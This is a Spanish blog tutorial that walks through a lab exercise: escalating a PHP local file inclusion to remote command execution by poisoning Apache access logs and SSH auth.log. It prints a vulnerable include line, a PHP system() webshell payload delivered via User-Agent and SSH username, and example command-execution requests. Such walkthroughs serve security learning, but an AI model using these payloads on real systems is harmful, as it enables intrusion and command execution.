· Manuel López Pérez · tutoriales  · 3 min read

LFI to RCE - Envenenando SSH y Apache logs

Cómo aprovechar un LFI para obtener RCE mediante log poisoning: envenenado de logs de Apache (access log) y de SSH (auth.log) para ejecutar comandos.

Cómo aprovechar un LFI para obtener RCE mediante log poisoning: envenenado de logs de Apache (access log) y de SSH (auth.log) para ejecutar comandos.

En este post veremos cómo aprovechar un archivo php que nos permite LFI para conseguir RCE a través de envenenamiento de logs o más conocido como Log Poisoning. Si no sabes qué es LFI (Local File Inclusion) te recomiendo que leas antes mi post: LFI Cheat Sheet

Poisoning Apache Logs

Para poder usar esta técnica necesitaremos LFI en el objetivo, es decir poder acceder a archivos del sistema. En este caso tenemos una web que esta pensada para poder leer ciertos archivos.

En este caso, no existe ninguna restricción así que podremos acceder a cualquier archivo del sistema. El segundo paso sera identificar el sistema operativo del objetivo o manualmente encotrar el archivo access log de Apache.

  • RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log
  • FreeBSD Apache access log file location – /var/log/httpd-access.log
  • Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log

En este caso el objetivo era un FreeBSD luego el archivo que nos interesa es /var/log/httpd-access.log Además el archivo que nos permite el LFI (browse.php) no tiene ninguna restricción y nos podemos acceder a todos los archivos del sistema, su código es:

<?php include($_GET['file']); ?>

Tal y como vemos en el gif, la web nos permite ver archivos sensibles del sistema:

http://ironpoison.com/browse.php?file=/etc/passwd http://ironpoison.com/browse.php?file=/var/log/httpd-access.log

Utilizando BurpSuite interceptamos una request:

Utilizamos ‘Send to Repiter’ para poder editar la petición. El siguiente paso es hacer la petición a

/browse.php?file=/var/log/httpd-access.log

Cambiamos el User-Agent: Añadiendo en el lugar del recuadro:

<?php system($_GET['cmd']); ?>

El siguente paso sera hacer la request añadiendo al final de esta &cmd=[COMANDO] y quedaria tal que asi, por ejemplo:

http://ironpoison.com/browse.php?file=/var/log/httpd-access.log&cmd=id

Cómo vemos en la imagen podemos ejecutar comandos. Vamos a intentar conseguir shell reversa. Utilizaremos por ejemplo la shell de Netcat, podéis ver todas las shell reversas que podemos usar (a veces una no funciona pero otras si) en: Shells Reversas

Tal y como se ve en el gif lo único que hay que hacer es iniciar una escucha en el puerto que queramos y ejecutar la request con la shell reversa como comando, recordad codificar la petición (url encode) que con la utilidad ‘convert’ de Burpsuite lo hacemos fácilmente. ‘Go’ y ya tenemos shell.

Poisoning SSH Logs

Esta técnica es casi igual a la anterior, pero utilizando el archivo logs del SSH en vez del de apache.

/var/log/auth.log

Si intentamos acceder al ssh, se reflejara el intento en dicho archivo:

Ahora vamos a intentar acceder al SSH con el siguiente user:

ssh '<?php system($_GET['cmd']); ?>'@10.10.10.84

Ahora podremos ejecutar comandos con peticiones del tipo:

http://ironpoison.com/browser.php?file=/var/log/auth.log&cmd=id

El siguiente paso, como antes sera sacar shell reversa:

Back to Blog

Related Posts

View All Posts »